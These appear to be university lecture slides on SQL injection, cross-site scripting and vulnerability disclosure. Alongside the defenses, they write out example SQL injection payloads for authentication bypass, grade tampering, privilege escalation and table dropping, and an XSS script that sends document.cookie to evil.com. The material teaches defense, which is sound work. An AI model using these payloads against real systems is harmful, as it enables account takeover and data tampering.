Web Security IV: SQL Injection, XSS, Vulnerability Discovery & Disclosure

CS 1660: Introduction to Computer Systems Security
CSRF and LAX policy

If SameSite=Lax, cookie is included for cross-site requests if:

- The request uses the **GET** method. Requests with other methods, such as **POST**, will not include the cookie.
- The request resulted from a top-level navigation by the user, such as clicking a link. Other requests, such as those initiated by scripts, will not include the cookie.”

Source: https://portswigger.net/web-security/csrf/samesite-cookies
SQL Injection: Recap

- Craft user input that can perform unintended actions on a SQL database (could also apply to other databases).

Browser <--> Web Server <--> DB

SQL Injection targets this part.
The problem

SELECT attributes FROM users
WHERE user = 'Alice' AND password = '<hash>'

Problem: user data can affect application code!

Effect: can (often) execute whatever queries we want!!

Basic approach:

db->query("SELECT * from users where username=" . $user . " AND password = " . $hash ") ;
Example: Bypassing authentication

$\text{SELECT} \ *
\text{FROM} \ \text{CS1660} \ \text{WHERE}
\text{Name} = $\text{username} \ \text{AND} \ \text{Password} = \ \text{hash}(\ $\text{passwd} \ ) ;$

$\text{CAN CRAFT AN INPUT THAT CHANGES THE QUERY!}$

$\text{$username = A' OR 1 = 1 --'$} \ \text{AND} \ \text{Password} = \ \text{anything}$

Resulting query:

$\text{SELECT} \ * \ \text{FROM} \ \text{CS1660} \ \text{WHERE} \ \text{Name} = 'A' \ \text{OR} \ 1 = 1 \ --' \ \text{AND} \ \text{...}$
Example: Data Corruption

- $username = 'A'; UPDATE CS1660 SET grade='A' WHERE name='Bob' --
- $passwd = anything
- Resulting query execution

```
SELECT * FROM CS1660 WHERE Name = 'A';
UPDATE CS1660 SET grade='A' WHERE Name='Bob' -- AND ...
```
Example: privilege Escalation

```
SELECT * FROM CS1660 WHERE Name=$username AND Password = hash( $passwd ) ;
```

- $username = A'; UPDATE CS1660 SET admin=1 WHERE name='Bob' --
- $passwd = anything
- Resulting query execution

```
SELECT * FROM CS1660 WHERE Name = 'A';
UPDATE CS1660 SET admin=1 WHERE name='Bob' -- AND ...
```
What can we do about it?

- Problem: user input can be treated like code

```php
$db->query("SELECT * from users where username='" . $user . 
" AND password = '" . $hash "'");
```


NEED TO SANITIZE INPUTS

WHAT CHARACTERS COULD CAUSE A PROBLEM?

--- ' ) , "
What can we do about it?

- Problem: user input can be treated like code
- Solutions
  - Sanitization: restrict the input
  - Change the query

```php
db->query("SELECT * from users where username=" . $user . " AND password = " . $hash ");
```
Input Sanitization

Some specific characters can cause problems, like quotes

• Input Sanitization: escape certain characters to avoid them being parsed as code

```sql
SELECT * FROM users WHERE user = 'M' ; DROP table user; -- '
```

• More generally, characters to escape include

' " \ <newline> <return> <null>
Input Sanitization

Some specific characters can cause problems, like quotes

- Input Sanitization: escape certain characters to avoid them being parsed as code

```sql
SELECT * FROM users WHERE user = 'M' ; DROP table user; -- '
```

But what characters should be escaped? ' " \, <newline>, ...
Sanitizing input is very hard!

- **Don't do this yourself!** Frameworks/languages have built-in functions to help you!

  Alternate character encodings may bypass default escape functions
  - PHP legacy escape function `mysql_escape_string` ignored encoding
  - PHP later developed `mysql_real_escape_string`

Both of these functions are deprecated now...
A better way: Prepared Statements

SELECT * from users WHERE user = ? AND password = ?

- Newer form of writing queries: variables with ? filled in after query text is parsed
- Generally safe from SQL injection, if used correctly

⇒ Always use this for new code!
Anomaly Detection

- Observe queries on legitimate inputs
- Determine properties of typical queries
  - Result size (e.g., list of values or probability distribution)
  - Structure (e.g., WHERE expression template)
- Reject inputs that yield atypical queries and outputs
Anomaly Detection

- Typical queries
  - Result size: 0 or 1
  - Structure: variable = string
- On malicious input `A' OR 1 = 1`
  - Result size: table size
  - Structure: variable = string OR value = value

```
SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd ) ;
```
SQL injections defenses

• The best strategy is a layered approach ("defense in depth"):
  – input sanitization
  – prepared statements
  – anomaly detection
  – a properly configured Access Control
  – ...

• Unfortunately, it is still quite common

www.cvedetails.com/vulnerability-list/opsqli-1/sql-injection.html
Second-Order SQL Injection

Sanitized input is controlled just the first time it is inserted in the DB but it may be reused in other queries.

=> Often need to protect any user-controlled database output, as well as input.

\[ 1 \text{ ADDS MALICIOUS CODE NO INITIAL DB EFFECT} \]
\[ 2 \text{ MALICIOUS QUERY IS RUN WHEN FETCHED LATER} \]
Second-Order SQL Injection

• Sanitized input is controlled just the first time it is inserted in the DB but it may be reused in other queries
• Regular user selects username `admin'--`
• Application
  – Escapes quote to prevent possible injection attack
  – Stores value `admin'--` into user attribute of database
• Later, application retrieves username with clause
  
  \[
  \text{WHERE username} = \text{'admin'--'}
  \]
• Could be used to change administrator password to one chosen by attacker
SQL Injection: summary

• Problem: malicious user input can give control over database operations

• Most common defenses
  – Sanitization
  – Prepared statements
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)

• Problem: users can submit text that will be displayed on web pages
• Browsers interpret everything in HTML pages as HTML
• What could go wrong?
Example

- Website allows posting of chirps
- Server puts comments into page:

  ChirpBook!<br />
  Here's what everyone else had to say:<br />
  Joe: Hi! <br />
  John: This is so <b>cool</b>! <br />
  Jane: How does <u>this</u> work? <br />

- Can include arbitrary HTML…
  Attacker: <script>alert("XSS Injection!"); </script> <br />

```html
chirpbook.html
<html>
<title>ChirpBook!</title>
<body>
  Chirp Away!
  <form action="sign.php" method="POST">
    <input type="text" name="name">
    <input type="text" name="message" size="40">
    <input type="submit" value="Submit">
  </form>
</body>
</html>
```
Cookie Stealing

What happens if I submit this as a Chirpbook comment?

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://evil.com/steal.php', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.send('cookie=' + document.cookie);
</script>
Stored XSS

POST /comment.php
comment=<script> /* make a post request to evil.com with document.cookie… */</script>

INSERT INTO comments (value)
VALUES ("<script>…</script>"

["Hello", …, "<script>…</script>"]

<body>
…
<script>…</script>
…
</body>
Example from class

1. Sends malicious script gets stored on server (in DB)

2. User does something to load script which runs in user's browser.

3. Script sends user's cookie to attacker

```
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://localhost:2222', true);
  xhr.send();
</script>
```

URL that attacker controls (in class this was just on my local system)
Vulnerability Discovery & Disclosure
Vulnerability Discovery & Disclosure

- Companies try to find and resolve their own vulnerabilities (e.g., pentesters, internal security engineers)
- Third parties also look for vulnerabilities
  - Cybercriminals
  - Governments
  - Security researchers
- What should you do if you find a vulnerability and you have good intentions?
  - Release it publicly
  - Let the firm know
  - Let the responsible firm know (but set a date publication)
Problems with Vulnerability Disclosure

- **Computer Fraud and Abuse Act**
  - Makes unauthorized access to software systems a felony
  - Catch-22 of trying to prove unauthorized access without unauthorized access
  - Van Buren v. United States: SCOTUS case

- **Lack of incentives**
  - Finding vulnerabilities is a public good

- **Conflict between firms wanting vulnerabilities to be private and hackers wanting credit**

- **Updates take time to deploy and for users to update (e.g., operating systems, apps)**
  - If you disclose a vulnerability that’s been fixed, some users may still use the vulnerable version

- **Intellectual property argument**
  - Oracle CSO Mary Ann Davidson: “Oracle’s license agreement exists to protect our intellectual property. “Good motives” – and given the errata of third party attempts to scan code the quotation marks are quite apropos – are not an acceptable excuse for violating an agreement willingly entered into.”
Possible Solution: Bug Bounties

- Pay hackers for security vulnerability reports submitted, provided they sign up to terms and conditions first
- Creates incentive to find security vulnerabilities and to not exploit vulnerabilities/sell to cybercriminals
- Can provide legal exceptions for hackers to find vulnerabilities and resolve legal ambiguity
- Force private disclosure
  - In House (Apple, Google, Microsoft)
  - Outsource (HackerOne, Bugcrowd)
Governments & Vulnerability Disclosure

- When should the government disclose vulnerabilities vs. exploit them?
- Government disclosure
  - Governments have an interest in using vulnerabilities
  - Governments also have a responsibility to strengthen cybersecurity
  - Incentives differ across departments and agencies

- Vulnerabilities Equities Process (VEP)
  - Codify how to resolve conflicting interests to make the right decision
  - Changing the way government handles this:
    - Protecting Our Ability to Counter Hacking (PATCH) Act
    - Cyber Vulnerability Disclosure Reporting Act

- UK Equities Process
  - Starting position: disclosing is in the best interest of the country
  - Multiple boards consider many factors (on HW2!)
Few governments have the ability to consistently find vulnerabilities

This has led to the emergence of firms specializing finding vulnerabilities and selling to governments

“Lawful intercept spyware” now a $12 billion market, and growing

NSO Group
  - Lawsuit

Reduced differences in offensive cyber capability between nations

Problems:
  - Increase in cyberattacks and cyberespionage
  - Less oversight and accountability than government agencies
  - Governments buying from malware producing companies have a greater incentive to stockpile